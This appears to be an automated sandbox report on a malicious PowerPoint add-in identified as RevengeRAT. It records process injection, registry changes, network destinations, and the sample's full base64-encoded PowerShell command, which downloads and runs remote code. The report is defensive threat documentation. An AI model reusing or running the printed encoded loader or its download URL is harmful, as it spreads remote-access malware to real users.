Malware Analysis Report

2024-10-23 21:31

Sample ID 240806-yd4kasycnj
Target LinhasSumarizadas_2024046175.ppam
SHA256 c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425
Tags
revengerat nyancatrevenge discovery trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425

Threat Level: Known bad

The file LinhasSumarizadas_2024046175.ppam was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge discovery trojan

Process spawned unexpected child process

RevengeRAT

Blocklisted process makes network request

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

Modifies registry class

Suspicious use of WriteProcessMemory

Checks processor information in registry

Uses Volume Shadow Copy service COM API

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Uses Volume Shadow Copy WMI provider

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 19:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 19:41

Reported

2024-08-06 19:43

Platform

win7-20240705-en

Max time kernel

118s

Max time network

148s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2024046175.ppam"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2804 set thread context of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493467-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\ = "Font" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A58-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493492-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B}\ = "View" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493481-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\ = "RotationEffect" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493453-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1820 wrote to memory of 796 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 1820 wrote to memory of 796 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 1820 wrote to memory of 796 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 1820 wrote to memory of 796 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 1820 wrote to memory of 2804 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2804 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2804 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2804 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2024046175.ppam"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 firebasestorage.googleapis.com udp
NL 142.251.39.106:443 firebasestorage.googleapis.com tcp
BR 18.228.173.171:5222 tcp

Files

memory/1820-0-0x000000002DC61000-0x000000002DC62000-memory.dmp

memory/1820-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1820-2-0x0000000073C4D000-0x0000000073C58000-memory.dmp

memory/1820-7-0x0000000004750000-0x0000000004850000-memory.dmp

memory/1820-8-0x0000000004750000-0x0000000004850000-memory.dmp

memory/1820-11-0x0000000004750000-0x0000000004850000-memory.dmp

memory/1820-19-0x0000000004750000-0x0000000004850000-memory.dmp

memory/1820-18-0x0000000004750000-0x0000000004850000-memory.dmp

memory/1820-17-0x0000000004750000-0x0000000004850000-memory.dmp

memory/2804-22-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-28-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-31-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-23-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-29-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-25-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2804-33-0x0000000002900000-0x0000000002918000-memory.dmp

memory/2712-38-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-45-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-44-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-43-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-42-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2712-36-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-40-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2712-34-0x0000000000400000-0x000000000040A000-memory.dmp

memory/1820-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1820-48-0x0000000073C4D000-0x0000000073C58000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 19:41

Reported

2024-08-06 19:43

Platform

win10v2004-20240802-en

Max time kernel

93s

Max time network

147s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2024046175.ppam" /ou ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4924 set thread context of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4224 wrote to memory of 4924 N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
